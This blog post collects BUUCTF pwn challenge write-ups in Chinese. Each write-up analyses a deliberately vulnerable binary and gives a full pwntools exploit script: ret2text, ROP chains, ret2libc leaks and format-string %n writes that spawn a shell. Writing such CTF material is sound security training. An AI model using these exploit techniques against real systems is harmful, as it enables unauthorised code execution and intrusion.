BUUCTF PWN

rip

checksec分析一下,发现没有开NX,PIE。栈段可执行,还有RWX的段


看了一下main函数存在栈溢出,然后有一个fun函数很奇怪跟进看一下,发现是后门,很简单的ret2text,但是做64位题的时候要注意堆栈平衡

from pwn import * # io = process('./pwn1') io = remote("node5.buuoj.cn",25429) payload = b'A'*23 + p64(0x401186 + 1) io.sendline(payload) io.interactive()

warmup_csaw_2016

checksec看一下,发现跟rip那一题是一样的情况

看了一下,发现main函数中存在栈溢出,然后我们开始排查一下左边的函数,发现了这个函数。发现这题又是简单的ret2text,还是注意堆栈平衡

from pwn import * io = remote("node5.buuoj.cn",25764) payload = b'A' * 72 + p64(0x40060d) io.sendline(payload) io.interactive()

但是这题需要注意一下,他跟其他的题不一样,它不需要去堆栈平衡,所以后面做题我们需要去确认一下

ciscn_2019_n_1

checksec看看开启了啥保护,发现是64位程序开启了NX保护

通过查看main函数中发现了func函数,然后跟进一下func函数,看到了gets函数造成的栈溢出,然后还有我们需要的system("cat /flag"),但是通过阅读代码发现调用system函数是有要求的,发现需要v2等于11.28125才可以,但是上面已经将v2赋值为了0.0

然后我看到了system函数和cat /flag这两个,我已经有了思路就是自己去构造一下,通过栈溢出直接溢出到sytem函数的位置,然后将cat /flag参数传入,而要将参数传入需要用到pop rdi;ret这个命令,我们可以通过ROPgadget来看找到这个的地址,然后构造payload就行了,现在我们需要知道system函数的plt地址,cat /flag地址,pop rid;ret地址,就可以完成这个栈溢出。



from pwn import * io = remote('node5.buuoj.cn', 28390) offset = 0x30 + 8 payload = offset * b'a' + p64(0x400793)+p64(0x4007CC)+p64(0x4005E1)+p64(0x400530) io.sendline(payload) io.interactive()

然后要注意队堆栈平衡,这题需要考虑所以我们加了一个ret的地址在system前面

当做到这里我以为我已经完成了,但是我看到了别人的payload,我才发现我原来多做了很多的步骤

# coding: utf-8 from pwn import * r = remote('node3.buuoj.cn',29337) offset = 0x30 + 8 payload = offset*'a' + p64(0x000004006BE ) #直接gets函数溢出,然后修改返回地址 r.sendline(payload) r.interactive()

首先我们看一下他的代码,发现他只用了一个地址,我就好奇去看了一下这个地址

我发现他溢出的这个地址是fun阐述的其中一部分,他并不是直接溢出到system函数,而是溢出到他的上面的位置,通过这里的代码往下看,我发现他这里mov edi其实已经开始给edi赋值了,然后下面调用了system函数,就完成了整个的攻击过程,这个攻击过程和我们上面写的攻击过程原理其实是一样的,但是我们是通过手动完成了这个步骤,他是通过溢出到这个地址,然后下面的代码刚好把我们后面的步骤完成了,其实想一下


他这个地方其实已经就是把值传入了,以后我们做题看到如果我们需要的参数已经在函数体内了,我们就可以通过上述的方法来完成


jarvisoj_level0

发现打开了NX保护,但是canary和pie还有relro保护都没有开

通过跟进ida发现这是一个很简单的ret2text

from pwn import * # io = process('./pwn') io = remote("node5.buuoj.cn",29084) payload = b'A'*136+p64(0x4005A5)+p64(0x400596) io.sendline(payload) io.interactive()

[第五空间2019 决赛]PWN5

首先开始还是简单的checksec一下

发现开启了canary保护,这个时候我就在想他可能会考到canary的绕过,也可以不用到栈溢出,然后ida跟进一下

int __cdecl main(int a1) { unsigned int v1; // eax int result; // eax int fd; // [esp+0h] [ebp-84h] char nptr[16]; // [esp+4h] [ebp-80h] BYREF char buf[100]; // [esp+14h] [ebp-70h] BYREF unsigned int v6; // [esp+78h] [ebp-Ch] int *v7; // [esp+7Ch] [ebp-8h] v7 = &a1; v6 = __readgsdword(0x14u); setvbuf(stdout, 0, 2, 0); v1 = time(0); srand(v1); fd = open("/dev/urandom", 0); read(fd, &dword_804C044, 4u); printf("your name:"); read(0, buf, 0x63u); printf("Hello,"); printf(buf); printf("your passwd:"); read(0, nptr, 0xFu); if ( atoi(nptr) == dword_804C044 ) { puts("ok!!"); system("/bin/sh"); } else { puts("fail"); } result = 0; if ( __readgsdword(0x14u) != v6 ) sub_80493D0(); return result; }

跟进主函数看一下,整体代码的逻辑就是

  1. 定义了一些变量,包括用于存储输入的字符数组 nptrbuf,以及用于存储随机数生成器种子的 v1
  2. 使用 setvbuf 函数设置 stdout(标准输出)的缓冲区,使其不进行缓冲。
  3. 获取当前时间作为随机数生成器的种子,并通过 srand 函数设置随机数种子。
  4. 打开 /dev/urandom 设备文件,从中读取4个字节到 dword_804C044 变量中。/dev/urandom 是一个提供伪随机数的设备文件。
  5. 通过 printf 函数提示用户输入他们的名称,然后使用 read 函数从标准输入读取最多 99 个字节到 buf 数组。
  6. 再次使用 printf 函数提示用户输入密码。
  7. 使用 read 函数从标准输入读取最多 15 个字节到 nptr 数组。
  8. nptr 数组的内容转换为整数,并与 dword_804C044 进行比较。如果它们相等,程序将执行 system("/bin/sh"),这将启动一个 shell 提示符,允许用户执行命令。
  9. 如果密码不正确,程序将打印 "fail"。
  10. 最后,程序检查是否有安全违规,如果没有,返回0。

这个时候我看可以看到我们只需要输入一个数(nptr)和dword_804C044相等就可以运行获取shell的代码了,但是这是一个随机数我们该如何输入一个一样的呢?

这里考察的是格式化字符串的漏洞

我看可以看到这两地方,我们向buf输入数据,然后下面printf会把buf给输出出来,这里就存在漏洞,通常printf会将第一个参数当作格式化字符串,但是格式化字符串应该是在编写代码的时候给写好的,这里我们可以控制就可以通过格式化字符串输出我们想到的东西,这个漏洞通常运用在泄露栈内存,泄露任意地址内存,篡改栈内存,篡改任意代码内存,这四个方面。我们知道了他有这四个用途,我们好好想想,我们可以篡改任意代码内存了,那是不是就可以篡改随机值,将他改成我们输入进去的数字,所以payload如下

payload = p32(addr)+b'%10$n'

这里是解释为什么我们是10$了

然后%n的含义是,前面输出了多少的字节数据,然后他就给这个地方赋值多少,比如输出了4字节的数据,那这个地方就被篡改成4了

然后因为p32(addr),是将地址转为32位,32位为4字节,所以这个随机数这个地方就被我们篡改成了4了,现在只需要我们输入4就可以跟随机值正确匹配了

from pwn import * io = process("./pwn") random_add = 0x804C044 payload = p32(random_add)+b'%10$n' io.sendlineafter("your name:",payload) io.sendlineafter("your passwd:",b'4') io.interactive()

这个就是完整的exp了


jarvisoj_level2

checksec

发现没有canary,可能存在栈溢出

ida跟进

发现是一道非常简单的ROP构造

exp:

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",25027) elf = ELF("./pwn") system_add = elf.plt['system'] bin_sh = 0x804A024 payload = b'A'*(0x88+0x4)+p32(system_add)+p32(0)+p32(bin_sh) io.sendline(payload) io.interactive()

bjdctf_2020_babystack

checksec

ida跟进

发现他是很简单的ret2text,整体代码的逻辑就是scanf向nbytes读入,然后nbytes当成read的第三个参数,给buf赋值。所以我们给nbytes赋值大一点,不然不够造成栈溢出

exp:

from pwn import* # p=remote('node5.buuoj.cn',28874) p = process("./pwn") back_door=0x4006e6 p.recvuntil('your name:\n') p.sendline(str(0x40)) p.recvuntil('u name?\n') payload=b'a'*0x18+p64(0x4007CB)+p64(back_door) p.sendline(payload) p.interactive()

这里要注意栈平衡


[NewStarCTF 2023]ret2text

最基本的ret2text

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",25103) payload = b'A'*0x28+p64(0x04011FB) io.sendline(payload) io.interactive()

ciscn_2019_n_8

判断var[13]的值是不是17,只需要输入的时候在第18位填写17就行了,因为下标是从0开始的

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",29774) payload = b'A'*(13*4)+p64(17) io.sendline(payload) io.interactive()

get_started_3dsctf_2016

很简单的ret2text,32位栈传参,所以只需要把满足的值写入栈中就行了

from pwn import * io = remote("node5.buuoj.cn",25583) payload = b'A'*0x38+p32(0x80489A0)+p32(0x804E6A0)+p32(814536271)+p32(425138641) io.sendline(payload) io.interactive()

jarvisoj_level2_x64

很明显的栈溢出,然后系统调用过system函数,所以可以调用system_plt,因为是64位程序,所以是寄存器传参,前六个整数或指针参数通常使用寄存器RDI, RSI, RDX, RCX, R8, 和 R9来传递,后面的参数还是会放到栈中进行传参,程序本身还存在/bin/sh,所以构造system(/bin/sh)

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",29814) elf = ELF("./pwn") rdi_add = 0x4006b3 bin_sh = 0x600A90 sys_add = elf.plt['system'] payload = b'A'*(0x80+0x8)+p64(rdi_add)+p64(bin_sh)+p64(0x0400644)+p64(sys_add) io.sendline(payload) io.interactive()

[HarekazeCTF2019]baby_rop

跟上题的思路差不多,但是64位程序都需要注意一下堆栈平衡

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",27144) elf = ELF("./pwn") rdi_add = 0x400683 bin_sh = 0x601048 sys_add = elf.plt['system'] payload = b'A'*0x18+p64(rdi_add)+p64(bin_sh)+p64(0x40061A)+p64(sys_add) io.sendline(payload) io.interactive()

others_shellcode

链接即有shell

from pwn import * io = remote("node5.buuoj.cn",25195) io.interactive()

[OGeek2019]babyrop

32位程序,RELRO保护全开还有NX保护

main

int __cdecl main() { int buf; // [esp+4h] [ebp-14h] BYREF char v2; // [esp+Bh] [ebp-Dh] int fd; // [esp+Ch] [ebp-Ch] sub_80486BB(); fd = open("/dev/urandom", 0); if ( fd > 0 ) read(fd, &buf, 4u); v2 = sub_804871F(buf); sub_80487D0(v2); return 0; }

sub_80486BB函数是一个初始化函数,然后下面打开了/dev/urandom获取了随机值然后将他赋值给buf,然后再将buf传入sub_804871F并且将返回值给到v2

sub_804871F

int __cdecl sub_804871F(int a1) { size_t v1; // eax char s[32]; // [esp+Ch] [ebp-4Ch] BYREF char buf[32]; // [esp+2Ch] [ebp-2Ch] BYREF ssize_t v5; // [esp+4Ch] [ebp-Ch] memset(s, 0, sizeof(s)); memset(buf, 0, sizeof(buf)); sprintf(s, "%ld", a1); v5 = read(0, buf, 0x20u); buf[v5 - 1] = 0; v1 = strlen(buf); if ( strncmp(buf, s, v1) ) exit(0); write(1, "Correct\n", 8u); return (unsigned __int8)buf[7]; }

清空s和buf变量,然后将传入进来的随机值转换成长整型然后传给s,然后需要我们传入一些值给到buf,并将值传入的长度给到v5,并且将buf的最后一个读取的字符设置位0,这是移除换行符的操作。然后算出buf的长度给到v1,接下来判断buf和s的值是否相同,如果不相同退出程序,相同就输出,然后返回buf第八个字符,回到主函数中,v2接收返回值,然后v2当作sub_80487D0的参数

sub_80487D0

ssize_t __cdecl sub_80487D0(char a1) { char buf[231]; // [esp+11h] [ebp-E7h] BYREF if ( a1 == 127 ) return read(0, buf, 0xC8u); else return read(0, buf, a1); }

判断传入进来的值是否等于127,如果相等就可以输入0xc8大小的值,如果不相等就可以输入a1的大小的值,这里0xc8并不能造成栈溢出,所以得从a1的值下手

整理思路

整体思路很简单,这里我们需要绕过sub_804871F函数的判断,因为如果判断不相同的话就会退出程序,这里需要绕过,让判断相同,这里改如果绕过呢?我们如果让v1等于0的话,那是不是就是判断buf和s的前0个字符,那这里就会恒相同,那么该如何让v1等于0呢?由于v1是通过strlen计算buf字长的,但是strlen字长判断是通过\x00截断的,所以让buf的最开始为\x00的话这里的v1就会等于0了。

第二步我们需要修改a1的值,让他足够的大,因为这里的a1实际上就是sub_804871F中buf的第八个参数,这里需要用到转义字符

\为转义字符,而’\xhh‘表示ASCII码值与’hh’这个十六进制数相等的符号,例如’\xff’表示ASCII码为255的符号

所以我们就需要将buf[7]这个地方改为\xff,这样就可以使得a1的值大,导致我们可以栈溢出

然后就是泄露libc那一套了

from pwn import * from LibcSearcher import * context.log_level = 'debug' # io = process("./pwn") io = remote("node5.buuoj.cn",25285) libc = ELF("./libc-2.23.so") elf = ELF("./pwn") write_plt = elf.plt['write'] write_got = elf.got['write'] main_add = 0x8048825 def debug(): gdb.attach(io) pause() payload = b'\x00'+b'\xff'*8 io.sendline(payload) io.recvuntil("Correct\n") payload = b'A'*(0xe7+0x4) + p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4) io.sendline(payload) write_add = u32(io.recv(4)) print(hex(write_add)) libc_base = write_add - libc.sym['write'] system_add = libc_base + libc.sym['system'] bin_sh = libc_base + next(libc.search(b"/bin/sh")) payload = b'\x00'+b'\xff'*8 io.sendline(payload) io.recvuntil("Correct\n") payload = b'A'*(0xe7+0x4)+p32(system_add)+p32(main_add)+p32(bin_sh) io.sendline(payload) io.interactive()

not_the_same_3dsctf_2016

简单的rop

from pwn import * from struct import pack io = process("./pwn") io = remote("node5.buuoj.cn",28578) elf = ELF("./pwn") main_add = elf.sym['main'] write_add = elf.sym['write'] payload = b'A'*(0x2d) payload +=p32(0x80489A0)+p32(write_add)+p32(main_add)+p32(1)+p32(0x80ECA2D)+p32(45) io.sendline(payload) # gdb.attach(io) io.interactive()

铁人三项(第五赛区)_2018_rop

简单rop

from pwn import * io = process("./pwn") io = remote("node5.buuoj.cn",26229) elf = ELF('./pwn') write_plt = elf.plt['write'] write_got = elf.got['write'] main_add = elf.sym['main'] offset = 0x88+0x4 payload = b'A'*(0x88+0x4)+p32(write_plt)+p32(main_add)+p32(1)+p32(write_got)+p32(4) io.sendline(payload) write_add = u32(io.recv(4)) print(hex(write_add)) write_offset = 0x0e56f0 system_offset = 0x03cd10 binsh_offset = 0x17b8cf base_addr = write_add - write_offset system_addr = base_addr + system_offset binsh_addr = base_addr + binsh_offset payload2 = offset * b'a' + p32(system_addr) + p32(1) + p32(binsh_addr) io.sendline(payload2) io.interactive()

别问为什么我直接知道偏移,因为我到LibcSearcher有问题,上网找到的偏移


bjdctf_2020_babystack2

这题就是整数溢出,然后ret2text

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",27595) io.sendline('-1') payload =b'A'*(0x10+0x8)+p64(0x400726) io.sendline(payload) io.interactive()

bjdctf_2020_babyrop

checksec

发现开启了NX保护

ida分析

vuln:

ssize_t vuln() { char buf[32]; // [rsp+0h] [rbp-20h] BYREF puts("Pull up your sword and tell me u story!"); return read(0, buf, 0x64uLL); }

这里存在栈溢出漏洞,然后并没有在plt表发现system函数,也没有/bin/sh字符串,所以我们这题用ret2libc,构造ROP链来完成

from pwn import* io=remote('node5.buuoj.cn',27837) # io = process('./pwn') elf=ELF('./pwn') puts_got=elf.got['puts'] puts_plt=elf.plt['puts'] pop_rdi=0x400733 ret=0x4004c9 main=0x4006ad io.recvuntil('story!\n') payload=b'a'*0x28+p64(pop_rdi)+p64(puts_got)+p64(puts_plt)+p64(main) io.sendline(payload) puts_add=u64(p.recv(6).ljust(8,b'\x00')) print(hex(puts_add)) system=puts_add-0x2a300 binsh=puts_add+0x11d6c7 io.recvuntil('story!\n') payload=b'a'*0x28+p64(pop_rdi)+p64(binsh)+p64(system)+p64(main) io.sendline(payload) io.interactive()

jarvisoj_fm

checksec

32位程序开启了Canary保护和NX保护

通过题目看到这,我认为应该是通过格式化字符串来泄露Canary的值,然后再去进行栈溢出

int __cdecl main(int argc, const char **argv, const char **envp) { char buf[80]; // [esp+2Ch] [ebp-5Ch] BYREF unsigned int v5; // [esp+7Ch] [ebp-Ch] v5 = __readgsdword(0x14u); be_nice_to_people(); memset(buf, 0, sizeof(buf)); read(0, buf, 0x50u); printf(buf); printf("%d!\n", x); if ( x == 4 ) { puts("running sh..."); system("/bin/sh"); } return 0; }

通过对main函数的分析,发现了prinrt(buf)这个地方存在格式化字符串漏洞,然后在往下分析,我们知道需要满足x==4就可以获取到shell了,没有我们想的那么复杂,只是通过格式化字符串漏洞造成修改任意地址的值的目的

现在只需要知道x变量的地址,和我们格式化字符串漏洞在栈上是第几个写入我们的字符串位置就行了

通过看栈的布局结构可以知道实在第11个参数位置,x_addr=0x0804A02C

from pwn import * # io =process("./pwn") io = remote("node5.buuoj.cn",29144) x_addr = 0x0804A02C payload = p32(x_addr)+b'%11$n' io.sendline(payload) io.interactive()

jarvisoj_tell_me_something

checksec

64位程序,只开了NX保护

main:

int __fastcall main(int argc, const char **argv, const char **envp) { __int64 v4; // [rsp+0h] [rbp-88h] BYREF write(1, "Input your message:\n", 0x14uLL); read(0, &v4, 0x100uLL); return write(1, "I have received your message, Thank you!\n", 0x29uLL); }

通过main函数的分析发现明显的栈溢出

good_name

int good_game() { FILE *v0; // rbx int result; // eax char buf[9]; // [rsp+Fh] [rbp-9h] BYREF v0 = fopen("flag.txt", "r"); while ( 1 ) { result = fgetc(v0); buf[0] = result; if ( (_BYTE)result == 0xFF ) break; write(1, buf, 1uLL); } return result; }

还有一个后门函数

所以这题很简单,就是ret2text,但是有一个地方要注意,这里的栈溢出只需要溢出0x88,不需要再加上0x8了

; __unwind { .text:00000000004004E0 sub rsp, 88h .text:00000000004004E7 mov edx, 14h ; n .text:00000000004004EC mov esi, offset aInputYourMessa ; "Input your message:\n" .text:00000000004004F1 mov edi, 1 ; fd .text:00000000004004F6 call _write .text:00000000004004FB mov rsi, rsp ; buf .text:00000000004004FE mov edx, 100h ; nbytes .text:0000000000400503 xor edi, edi ; fd .text:0000000000400505 call _read .text:000000000040050A mov edx, 29h ; ')' ; n .text:000000000040050F mov esi, offset aIHaveReceivedY ; "I have received your message, Thank you"... .text:0000000000400514 mov edi, 1 ; fd .text:0000000000400519 call _write .text:000000000040051E add rsp, 88h .text:0000000000400525 retn

可以看到最后的地方只有一个ret,并没有leave命令,所以这里就并没有父函数的rbp,所以这里就不需要加上0x8了

from pwn import * # io = process("./pwn") io = remote("node5.buuoj.cn",28080) offset = 0x88 payload =b'A'*offset+p64(0x400620) io.sendline(payload) io.interactive()


__EOF__

本文作者QiSec’s Blog
本文链接https://www.cnblogs.com/Q1Sec/p/18253806.html
关于博主:评论和私信会在第一时间回复。或者直接私信我。
版权声明:本博客所有文章除特别声明外,均采用 BY-NC-SA 许可协议。转载请注明出处!
声援博主:如果您觉得文章对您有帮助,可以点击文章右下角推荐一下。您的鼓励是博主的最大动力!
posted @   QiSec  阅读(21)  评论(0编辑  收藏  举报
相关博文:
阅读排行:
· winform 绘制太阳,地球,月球 运作规律
· AI与.NET技术实操系列(五):向量存储与相似性搜索在 .NET 中的实现
· 超详细:普通电脑也行Windows部署deepseek R1训练数据并当服务器共享给他人
· 【硬核科普】Trae如何「偷看」你的代码?零基础破解AI编程运行原理
· 上周热点回顾(3.3-3.9)
点击右上角即可分享
微信分享提示